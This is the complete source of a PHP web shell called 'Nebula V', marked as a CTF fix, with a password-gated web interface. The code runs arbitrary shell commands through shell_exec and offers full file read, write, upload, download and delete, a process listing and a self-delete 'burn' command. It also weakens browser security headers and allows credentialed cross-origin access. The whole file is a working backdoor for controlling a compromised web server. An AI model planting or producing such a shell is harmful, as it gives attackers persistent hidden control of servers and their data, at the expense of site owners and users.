<?php
/*
* NEBULA V - CTF FIX
* - Fixed: 500 Error on strict PHP configs
* - Fixed: getcwd() NULL handling
* - Fixed: Dynamic function calls
*/
// 1. Output Buffering Başlat
ob_start();
// 2. Error log için (debug)
error_reporting(E_ALL);
ini_set('log_errors', 1);
ini_set('display_errors', 0); // Production'da 0
// 3. Header & Session
@header("Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline';");
@header("X-XSS-Protection: 0");
$self_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?');
if (!is_string($self_uri) || $self_uri === '') {
$self_uri = '/';
}
if ($self_uri[0] !== '/') {
$self_uri = '/' . ltrim($self_uri, '/');
}
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if ($origin !== '' && preg_match('#^https?://[A-Za-z0-9.-]+(?::[0-9]{1,5})?$#', $origin)) {
@header('Vary: Origin');
@header('Access-Control-Allow-Origin: ' . $origin);
@header('Access-Control-Allow-Credentials: true');
@header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
@header('Access-Control-Allow-Headers: Content-Type, X-Requested-With, Accept');
}
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(204);
exit;
}
$session_ok = @session_start();
if (!$session_ok || !is_array($_SESSION)) {
// Session başlatılamazsa fallback state cookie ile tutulur
$_SESSION = array();
}
@ini_set('memory_limit', '128M');
@set_time_limit(0);
// 4. Auth
$auth_hash = "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";
$auth_cookie = "__nb4a";
$cwd_cookie = "__nb4c";
$cookie_seed = ($_SERVER['HTTP_HOST'] ?? 'localhost') . "|" . __FILE__;
$auth_cookie_value = hash('sha256', $auth_hash . "|" . $cookie_seed);
$is_api_request = isset($_POST['req']);
function nb_set_cookie($name, $value, $expires = 0) {
$secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
@setcookie($name, $value, $expires, '/', '', $secure, true);
}
function nb_clear_cookie($name) {
$secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
@setcookie($name, '', time() - 3600, '/', '', $secure, true);
}
if (!isset($_SESSION['nebula_auth']) && isset($_COOKIE[$auth_cookie])) {
$cookie_ok = function_exists('hash_equals')
? hash_equals($auth_cookie_value, $_COOKIE[$auth_cookie])
: ($auth_cookie_value === $_COOKIE[$auth_cookie]);
if ($cookie_ok) {
$_SESSION['nebula_auth'] = true;
}
}
if (!isset($_SESSION['cwd']) && isset($_COOKIE[$cwd_cookie]) && @is_dir($_COOKIE[$cwd_cookie])) {
$_SESSION['cwd'] = $_COOKIE[$cwd_cookie];
}
if (isset($_POST['req']) && $_POST['req'] === 'burn') {
@unlink(__FILE__);
die(json_encode(['status' => 'destroyed']));
}
if (isset($_GET['logout'])) {
if (session_status() === PHP_SESSION_ACTIVE) {
session_destroy();
}
nb_clear_cookie($auth_cookie);
nb_clear_cookie($cwd_cookie);
header('Location: '.strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
if (!isset($_SESSION['nebula_auth'])) {
if (isset($_POST['k']) && hash('sha256', $_POST['k']) === $auth_hash) {
$_SESSION['nebula_auth'] = true;
$_SESSION['cwd'] = @getcwd() ?: '/';
nb_set_cookie($auth_cookie, $auth_cookie_value, time() + 86400 * 30);
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
} else {
ob_end_clean();
if ($is_api_request) {
header('Content-Type: application/json');
http_response_code(401);
die(json_encode(['error' => 'AUTH_REQUIRED']));
}
die('<!DOCTYPE html><body style="background:#020617;display:flex;height:100vh;align-items:center;justify-content:center"><form method="post"><input type="password" name="k" style="background:#1e293b;border:1px solid #334155;color:white;padding:10px;border-radius:5px;outline:none" placeholder="Key" autofocus></form></body></html>');
}
}
// 5. Core - Güvenli dinamik fonksiyon çağrısı
class Core {
public function r($n, ...$a) {
if($n=='x') {
return @shell_exec($a[0]." 2>&1");
}
$m = [
'e'=>'exec',
's'=>'scandir',
'f'=>'file_get_contents',
'w'=>'file_put_contents',
'r'=>'rename',
'u'=>'unlink',
'c'=>'chmod'
];
if(isset($m[$n]) && function_exists($m[$n])) {
return @call_user_func_array($m[$n], $a);
}
return false;
}
}
$sys = new Core();
// 6. CWD Handling - NULL-safe
$current_dir = @getcwd();
if($current_dir === false || $current_dir === null) {
$current_dir = '/';
}
if(!isset($_SESSION['cwd']) || empty($_SESSION['cwd']) || !@is_dir($_SESSION['cwd'])) {
$_SESSION['cwd'] = $current_dir;
}
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
$cwd = $_SESSION['cwd']; // JavaScript için
@chdir($_SESSION['cwd']);
// 7. API Handler
if (isset($_POST['req'])) {
if(ob_get_level() > 0) ob_clean();
$req = $_POST['req'];
if($req !== 'download') header('Content-Type: application/json');
if ($req === 'cmd') {
$cmd = $_POST['c']; $out = '';
if (preg_match('/^cd\s+(.*)$/', $cmd, $m)) {
$target = trim($m[1]);
if($target == '') $target = '/';
if (@chdir($target)) {
$_SESSION['cwd'] = @getcwd() ?: $target;
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
} else {
$out = "cd: error: $target";
}
} else {
$out = $sys->r('x', $cmd);
}
echo json_encode(['out' => $out, 'cwd' => $_SESSION['cwd']]);
exit;
}
if ($req === 'list') {
$path = $_POST['path'] ?? $_SESSION['cwd'];
if(empty($path)) $path = $_SESSION['cwd'];
if(@is_dir($path)) {
@chdir($path);
$_SESSION['cwd'] = $path;
nb_set_cookie($cwd_cookie, $_SESSION['cwd'], time() + 86400 * 30);
$items = @scandir($path);
$res = [];
if($items) {
foreach($items as $i) {
if($i == '.') continue;
$p = $path . DIRECTORY_SEPARATOR . $i;
$stat = @stat($p);
$res[] = [
'n' => $i,
'd' => @is_dir($p),
's' => @is_dir($p) ? '-' : round(($stat['size']??0)/1024, 2).' KB',
'p' => substr(sprintf('%o', @fileperms($p)), -4),
];
}
}
echo json_encode(['files' => $res, 'cwd' => $path]);
} else {
echo json_encode(['error' => 'Path Error']);
}
exit;
}
if ($req === 'read') {
$c = @file_get_contents($_POST['f']);
echo json_encode(['data' => base64_encode($c)]);
exit;
}
if ($req === 'save') {
echo json_encode(['status' => @file_put_contents($_POST['f'], base64_decode($_POST['c']))]);
exit;
}
if ($req === 'del') {
echo json_encode(['status' => @unlink($_POST['f'])]);
exit;
}
if ($req === 'rename') {
echo json_encode(['status' => @rename($_POST['old'], $_POST['new'])]);
exit;
}
if ($req === 'upload') {
@move_uploaded_file($_FILES['file']['tmp_name'], $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $_FILES['file']['name']);
exit;
}
if ($req === 'ps') {
echo json_encode(['out' => @shell_exec('ps aux')]);
exit;
}
if ($req === 'download') {
$f = $_POST['f'];
if(file_exists($f)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
}
exit;
}
exit;
}
if(ob_get_level() > 0) ob_clean();
?>
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8">
<title>Nebula V</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body { font-family: monospace; background: #020617; color: #cbd5e1; }
.glass { background: rgba(15, 23, 42, 0.9); border-bottom: 1px solid rgba(255,255,255,0.1); }
.btn-tab { padding: 4px 12px; border-radius: 4px; font-weight: bold; font-size: 12px; text-transform: uppercase; cursor: pointer; }
.btn-active { background: #4f46e5; color: white; }
.btn-inactive { color: #94a3b8; }
.btn-inactive:hover { color: white; }
.hidden { display: none; }
::-webkit-scrollbar { width: 8px; }
::-webkit-scrollbar-track { background: #0f172a; }
::-webkit-scrollbar-thumb { background: #334155; border-radius: 4px; }
</style>
</head>
<body class="h-screen flex flex-col overflow-hidden">
<nav class="glass h-14 flex items-center justify-between px-4 shrink-0">
<div class="font-bold text-indigo-400 text-lg">NEBULA V</div>
<div class="flex gap-2 bg-slate-900 p-1 rounded">
<button id="tab-files" class="btn-tab btn-active" onclick="App.switchTab('files')">Files</button>
<button id="tab-term" class="btn-tab btn-inactive" onclick="App.switchTab('term')">Terminal</button>
<button id="tab-proc" class="btn-tab btn-inactive" onclick="App.switchTab('proc')">Process</button>
</div>
<div class="flex gap-3 text-xs">
<button onclick="App.burn()" class="text-red-500 hover:text-red-400">BURN</button>
<a href="?logout" class="text-slate-400">EXIT</a>
</div>
</nav>
<div class="flex-1 flex flex-col overflow-hidden relative">
<div id="view-files" class="flex-1 flex flex-col h-full">
<div class="h-10 bg-slate-900/50 border-b border-white/5 flex items-center px-4 gap-2">
<button onclick="App.nav('..')" class="text-slate-400 hover:text-white font-bold">⬆</button>
<div id="breadcrumbs" class="flex items-center overflow-x-auto whitespace-nowrap text-sm"></div>
<div class="ml-auto">
<input type="file" id="file-upload" class="hidden" onchange="App.upload(this)">
<label for="file-upload" class="cursor-pointer text-xs bg-indigo-600 px-3 py-1 rounded text-white hover:bg-indigo-500">UPLOAD</label>
</div>
</div>
<div class="flex-1 overflow-y-auto p-4">
<table class="w-full text-left text-sm text-slate-400">
<thead class="text-xs uppercase bg-slate-800/50 text-slate-200"><tr><th class="p-2">Name</th><th class="p-2 w-20">Size</th><th class="p-2 w-20">Perms</th><th class="p-2 w-32 text-right">Actions</th></tr></thead>
<tbody id="file-list" class="divide-y divide-white/5"></tbody>
</table>
</div>
</div>
<div id="view-term" class="flex-1 bg-[#0a0a0a] p-4 flex flex-col font-mono text-sm h-full hidden">
<div id="term-output" class="flex-1 overflow-y-auto space-y-1 pb-2 break-all"><div class="text-slate-500">Nebula Terminal Ready...</div></div>
<div class="flex items-center gap-2 bg-white/5 p-2 rounded border border-white/10 mt-auto">
<span class="text-green-500 font-bold">➜</span><span id="term-cwd" class="text-blue-400 truncate max-w-[150px]">/</span>
<input type="text" id="term-input" class="bg-transparent flex-1 outline-none text-white placeholder-slate-600" placeholder="Type command..." autocomplete="off">
</div>
</div>
<div id="view-proc" class="flex-1 p-4 flex flex-col overflow-hidden hidden">
<div class="flex justify-between mb-2"><h2 class="font-bold">Processes</h2><button onclick="App.getPs()" class="text-xs bg-indigo-600 px-2 py-1 rounded text-white">Refresh</button></div>
<textarea id="proc-out" readonly class="flex-1 bg-slate-900 p-2 text-xs text-green-400 resize-none outline-none font-mono"></textarea>
</div>
</div>
<div id="modal-editor" class="fixed inset-0 bg-black/80 flex items-center justify-center z-50 p-4 hidden">
<div class="w-full max-w-4xl h-[80vh] bg-slate-900 border border-white/10 rounded flex flex-col shadow-2xl">
<div class="h-10 bg-slate-800 flex items-center justify-between px-4 border-b border-white/5">
<span id="editor-title" class="text-xs text-indigo-300"></span>
<div>
<button onclick="document.getElementById('modal-editor').classList.add('hidden')" class="text-slate-400 text-xs mr-2 hover:text-white">Close</button>
<button onclick="App.saveFile()" class="bg-indigo-600 text-white text-xs px-3 py-1 rounded hover:bg-indigo-500">Save</button>
</div>
</div>
<textarea id="editor-content" class="flex-1 bg-[#0f172a] p-4 text-slate-300 text-sm font-mono outline-none resize-none"></textarea>
</div>
</div>
<script>
const App = {
apiPath: <?php echo json_encode($self_uri); ?>,
cwd: <?php echo json_encode($cwd); ?>,
currentFile: '',
init: function() { this.nav(this.cwd); document.getElementById('term-input').addEventListener('keydown', (e) => { if (e.key === 'Enter') this.runCmd(); }); },
req: async function(data) {
let fd = new FormData(); for (let k in data) fd.append(k, data[k]);
fd.append('_ts', Date.now().toString());
try {
let endpoint = window.location.origin + this.apiPath + window.location.search;
let r = await fetch(endpoint, {
method: 'POST',
body: fd,
credentials: 'include',
cache: 'no-store',
mode: 'cors',
headers: { 'Accept': 'application/json, text/plain, */*' }
});
let raw = await r.text();
try {
let out = JSON.parse(raw);
if (!r.ok && !out.error) out.error = `HTTP ${r.status}`;
return out;
} catch (parseErr) {
let hint = raw.trim().slice(0, 140).replace(/\s+/g, ' ');
if (hint.startsWith('<')) {
return { error: 'Server HTML response (WAF/Auth)', raw: hint, status: r.status };
}
return { error: 'Invalid JSON response', raw: hint, status: r.status };
}
} catch(e) {
console.error(e);
return {error: 'Fetch Error', detail: (e && e.message) ? e.message : 'network blocked'};
}
},
switchTab: function(tab) {
['files', 'term', 'proc'].forEach(t => { document.getElementById('view-' + t).classList.add('hidden'); document.getElementById('tab-' + t).classList.replace('btn-active', 'btn-inactive'); });
document.getElementById('view-' + tab).classList.remove('hidden'); document.getElementById('tab-' + tab).classList.replace('btn-inactive', 'btn-active');
if(tab === 'term') setTimeout(() => document.getElementById('term-input').focus(), 100); if(tab === 'proc') this.getPs();
},
nav: async function(path) {
let r = await this.req({req: 'list', path: path});
if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); } else {
this.cwd = r.cwd.replace(/\\/g, '/'); this.renderFiles(r.files); this.renderBreadcrumbs();
document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/';
}
},
renderFiles: function(files) {
let html = '';
files.forEach(f => {
let icon = f.d ? '📁' : '📄'; let cls = f.d ? 'text-indigo-300 font-bold' : 'text-slate-300';
let action = f.d ? `App.nav('${this.cwd}/${f.n}')` : `App.edit('${this.cwd}/${f.n}')`;
let permCls = f.p.includes('w') ? 'text-red-400' : 'text-green-400';
html += `<tr class="hover:bg-white/5 transition cursor-pointer" onclick="${action}"><td class="p-2 flex items-center gap-2"><span>${icon}</span><span class="${cls}">${f.n}</span></td><td class="p-2 text-xs">${f.s}</td><td class="p-2 text-xs ${permCls}">${f.p}</td><td class="p-2 text-right" onclick="event.stopPropagation()"><button onclick="App.dl('${this.cwd}/${f.n}')" class="text-blue-400 hover:text-white px-1">↓</button><button onclick="App.ren('${f.n}')" class="text-orange-400 hover:text-white px-1">R</button><button onclick="App.del('${this.cwd}/${f.n}')" class="text-red-400 hover:text-white px-1">X</button></td></tr>`;
});
document.getElementById('file-list').innerHTML = html;
},
renderBreadcrumbs: function() {
let parts = this.cwd.split('/').filter(p => p); let html = '', currentPath = '';
parts.forEach(p => { currentPath += '/' + p; html += `<span class="text-slate-600 mx-1">/</span><button onclick="App.nav('${currentPath}')" class="text-indigo-300 hover:text-white hover:underline">${p}</button>`; });
document.getElementById('breadcrumbs').innerHTML = html || '<span class="text-slate-500 ml-2">/</span>';
},
runCmd: async function() {
let inp = document.getElementById('term-input'); let cmd = inp.value; if (!cmd) return; inp.value = '';
let outDiv = document.getElementById('term-output'); outDiv.innerHTML += `<div><span class="text-green-500">➜</span> <span class="text-slate-300">${cmd}</span></div>`;
let r = await this.req({req: 'cmd', c: cmd});
if (r.error) {
outDiv.innerHTML += `<div class="pl-4 text-red-400 whitespace-pre-wrap mb-2">[${r.error}] ${r.raw || r.detail || ''}</div>`;
outDiv.scrollTop = outDiv.scrollHeight;
return;
}
outDiv.innerHTML += `<div class="pl-4 text-slate-400 whitespace-pre-wrap mb-2">${r.out}</div>`; outDiv.scrollTop = outDiv.scrollHeight;
if (r.cwd) { this.cwd = r.cwd.replace(/\\/g, '/'); document.getElementById('term-cwd').innerText = this.cwd.split('/').pop() || '/'; }
},
edit: async function(f) {
let r = await this.req({req: 'read', f: f}); this.currentFile = f;
if (r.error) { alert(`${r.error}\n${r.raw || r.detail || ''}`.trim()); return; }
let content = "";
try {
let raw = atob(r.data);
try {
content = decodeURIComponent(escape(raw));
} catch (utfErr) {
content = raw;
}
} catch (base64Err) {
content = "CRITICAL ERROR: Base64 Decode Failed.";
}
document.getElementById('editor-title').innerText = f;
document.getElementById('editor-content').value = content;
document.getElementById('modal-editor').classList.remove('hidden');
},
saveFile: async function() {
let content = document.getElementById('editor-content').value;
let b64;
try { b64 = btoa(unescape(encodeURIComponent(content))); } catch(e) { b64 = btoa(content); }
await this.req({req: 'save', f: this.currentFile, c: b64});
document.getElementById('modal-editor').classList.add('hidden');
},
ren: async function(n) { let newN = prompt('Rename:', n); if (newN) { await this.req({req: 'rename', old: this.cwd + '/' + n, new: this.cwd + '/' + newN}); this.nav(this.cwd); } },
del: async function(f) { if (confirm('Delete?')) { await this.req({req: 'del', f: f}); this.nav(this.cwd); } },
dl: function(f) { let form = document.createElement('form'); form.method = 'POST'; form.innerHTML = `<input name="req" value="download"><input name="f" value="${f}">`; document.body.append(form); form.submit(); form.remove(); },
upload: async function(el) { let f = el.files[0]; if (!f) return; await this.req({req: 'upload', file: f}); this.nav(this.cwd); },
getPs: async function() { let r = await this.req({req: 'ps'}); document.getElementById('proc-out').value = r.error ? `[${r.error}] ${r.raw || r.detail || ''}` : r.out; },
burn: async function() { if(confirm('Self Destruct?')) { await this.req({req: 'burn'}); location.reload(); } }
};
App.init();
</script>
</body>
</html>